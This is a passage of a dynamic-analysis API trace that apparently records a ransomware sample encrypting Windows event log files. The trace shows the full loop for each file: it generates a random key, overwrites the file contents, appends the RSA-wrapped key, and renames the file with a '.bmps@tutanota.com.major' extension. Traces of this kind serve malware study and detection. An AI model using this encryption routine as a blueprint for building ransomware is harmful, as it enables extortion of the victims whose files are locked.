pszString="JSjdSDqFoqQiQOmZPsjSLBFL6ATp6Hoy9ZiWbDiFPn59axRThEGfGxSZmOYnztBk\nA3B4yZBUByGHYwZFn42WSG2q9otf311Osm2JusJW7MXasOmnKNaBxlAb9Y1z2duR\n9KBXeS0uqSQh1l/d/B1RxAii2rITtojZVPsuOip7sTzTkhWc6AT+/kyq/feF2mtW\nDtYgLw2a59/DZ9czEo2Pbii2JTfWPRjnrmgTzq+hyz1KmidwDwMMfuusNG0AVn8e\nZi5L0Pu7v24zbxbfYU4hpj873CdZiNaRZnUU95cbdhymlyNN3ccK1gh/GadMM0LL\nxZo/vADKHYx6c9Su291YJg==\n", pcchString=0x2e3f9a8) returned 1 [0124.511] WriteFile (in: hFile=0x460, lpBuffer=0x5b5ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.511] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.511] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.511] CloseHandle (hObject=0x460) returned 1 [0124.513] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5ce8 | out: hHeap=0x570000) returned 1 [0124.513] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.515] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.515] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0124.515] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58c8 | out: hHeap=0x570000) returned 1 [0124.515] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b53a0 | out: hHeap=0x570000) returned 1 [0124.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0124.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0124.515] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.515] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", dwFileAttributes=0x80) returned 1 [0124.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5b5b28 [0124.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b5ce8 [0124.516] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0124.516] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.516] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.516] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.555] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.555] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.556] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.557] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.559] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.559] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.559] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.560] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.560] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.561] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5df8 [0124.561] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5df8, pcchString=0x2e3f9a8 | out: pszString="jGt+YbO8So93h67MkTUv7uuR8WRHPRPZIlaYDOpH8ksq4HoELws9Ky4KyMYoveQo\nPSkXKUEbEhcLkk6+DhPtrXdPffHM3UgA9SFCdKWci4DE8OLOl5wnDPKIhy12g8fM\nxhXnUQOnjx667qEHG74eIimArrrYqJ4FKpkJ+j8OR44A65+b5IBTOlVs1YFTkys4\n3tcxfEZtj1jRKuLMvxgClZARsJXF44Dt/pT4HyRytj69fVkcQ8n2Ru1iCCcYNKsw\n2yyrQ8uX17/CxQ7WcICUAdi7pDpz0m5mDLrYBflOULodeyL1IBTyRVFsflWL125F\nvCIDo4P2wd6yMZH1W6MRWg==\n", pcchString=0x2e3f9a8) returned 1 [0124.561] WriteFile (in: hFile=0x460, lpBuffer=0x5b5df8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5df8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.561] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.561] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.562] CloseHandle (hObject=0x460) returned 1 [0124.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5df8 | out: hHeap=0x570000) returned 1 [0124.564] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.565] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5ce8 | out: hHeap=0x570000) returned 1 [0124.565] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0124.565] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5c30 | out: hHeap=0x570000) returned 1 [0124.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0124.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0124.566] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.566] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx", dwFileAttributes=0x80) returned 1 [0124.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0124.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0124.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0124.566] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.566] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.566] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.611] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.612] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.615] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.615] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.615] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.616] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.616] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.617] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0124.617] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="Jq89yPkNc+1j7Jv8FGs8b6NJ/uLP6Yv9rBR+Sr4XLFWHI/x5Pph89/9IS0h0uKto\n+uFdnmSL5hvrAZYObkXF6prmEhekI3TpKPWuL/wObDRejRD2KNxi78SRtsoxTN4V\n5xN0EHxZeInFHwKwzohQbOrhw5bAdj9ZfA+GKhqZitiyk0IrsMUA3dmrYai6z/jP\nN2UoQzjLbDmjED4kQ9w+B7tab+BKdBklW9bf4DLsn3XK0XGPtvNB1kLcfO6UvXH3\nh5YrrgY7gDlnJulnOC5ehQSUmlUw7n5GI69eFSnyd86ByL1TWM9CzPrZXqmlfQ60\noHlNRdrVqVhe4EiG3B0nlQ==\n", pcchString=0x2e3f9a8) returned 1 [0124.617] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.617] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.618] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.618] CloseHandle (hObject=0x460) returned 1 [0124.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0124.623] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0124.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0124.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0124.641] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0124.641] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0124.641] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.641] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0124.641] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0124.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0124.642] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0124.642] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.642] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.642] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.662] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.662] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.663] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.666] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.666] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.666] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.666] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.666] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.668] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0124.668] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="bXzB50PIVOFR1MPf5LhphdXiu20fIUig5+qFH31KE2bdRF6G2SyBuqrElYCnsKEY\nrCCmtFkQ7a4tiF8Y9gI3+ODtUwsG9nYocmrCP5EZG/V09VnmCid7aod9tOGTtwqU\nOfZcII9uJmSulXiZ0o43QZiHFxlCXJnne2aa5oLr0U8AaMngw17bLNPqPTn6owbh\nSGXS18PKe7Mh/OKW1pppjftigr90r0Say0eSx2bcevCdg7pTEVpWZG4PEoHuY3NE\nE894504g2sn+tCnBKkmBIHl9GlRqZ1BIBH1fKSys7JOzo6evAUmW74Qd+XVx10+q\nKZmxTgjNCcArOI2btBc4Nw==\n", pcchString=0x2e3f9a8) returned 1 [0124.668] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.668] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.668] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.668] CloseHandle (hObject=0x460) returned 1 [0124.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0124.670] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0124.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0124.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0124.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0124.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0124.735] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.735] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0124.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0124.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0124.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0124.736] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.736] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.736] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.800] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.801] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.802] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.804] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.804] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.804] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.805] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.805] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.806] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.806] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0124.806] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="fh6RFG2p9sZ2fJb8xFBA9khkJo8tTXP6h/4wA0MjvXtp0yE8NCeJ6KtPNZDrBIxk\nBT0rlylFhosA/GckY9CrZm2une10E9wcMG8g4Day04F8GajcytOlvlFkm4vL79mG\nlwn0Y6lCI+E4xZ83mWV10yWzUQoqqZ+mgi1Qosb7aNtt8E3qxlQXdIFimBO2eRrZ\nZYLjTbJzcbvWPQCMPRhsJFyNgoaG2TaQWQ7SY0bJRBVSAQySPk8p5VjMi53Cidoc\nx/cPIU/4DbubesINs9eocsmh3GuvlXHmCUfNgY15a9VlnDAplIusnlEapiw3KyY1\n6UVGWJ5oh9FqoeIEpSq+AA==\n", pcchString=0x2e3f9a8) returned 1 [0124.806] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.806] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.806] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.806] CloseHandle (hObject=0x460) returned 1 [0124.808] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0124.808] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.810] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.810] HeapFree (in: hHeap=0x570000, 